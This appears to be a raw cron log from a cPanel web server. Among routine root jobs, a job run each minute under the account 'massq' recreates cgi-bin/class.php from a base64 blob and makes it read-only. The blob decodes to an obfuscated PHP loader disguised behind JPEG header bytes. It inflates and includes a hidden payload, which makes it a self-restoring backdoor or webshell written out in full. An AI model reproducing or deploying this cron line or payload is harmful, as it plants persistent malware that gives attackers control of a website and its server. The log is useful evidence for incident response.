Sep  4 18:27:01 server CROND[29169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:27:01 server CROND[29170]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 18:27:01 server CROND[29171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:28:01 server CROND[29552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:28:01 server CROND[29553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:28:01 server CROND[29554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:29:01 server CROND[29948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:29:01 server CROND[29950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:29:01 server CROND[29949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:30:01 server CROND[30341]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 18:30:01 server CROND[30345]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:30:01 server CROND[30346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:30:01 server CROND[30344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:30:01 server CROND[30347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:30:01 server CROND[30350]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 18:30:01 server CROND[30348]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 18:30:01 server CROND[30349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:31:02 server CROND[31189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:31:02 server CROND[31190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:31:02 server CROND[31192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:32:01 server CROND[31654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:32:01 server CROND[31655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:32:01 server CROND[31656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:33:01 server CROND[32063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:33:01 server CROND[32064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:33:01 server CROND[32065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:34:01 server CROND[32466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:34:01 server CROND[32467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:34:01 server CROND[32468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:35:01 server CROND[417]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 18:35:01 server CROND[420]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 18:35:01 server CROND[423]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:35:01 server CROND[430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:35:01 server CROND[432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:35:01 server CROND[433]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 18:35:01 server CROND[435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:35:01 server CROND[434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:35:01 server CROND[429]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 18:36:01 server CROND[1394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:36:01 server CROND[1396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:36:01 server CROND[1395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:37:01 server CROND[1903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:37:01 server CROND[1902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:37:01 server CROND[1904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:38:01 server CROND[2330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:38:01 server CROND[2331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:38:01 server CROND[2332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:39:01 server CROND[2752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:39:01 server CROND[2753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
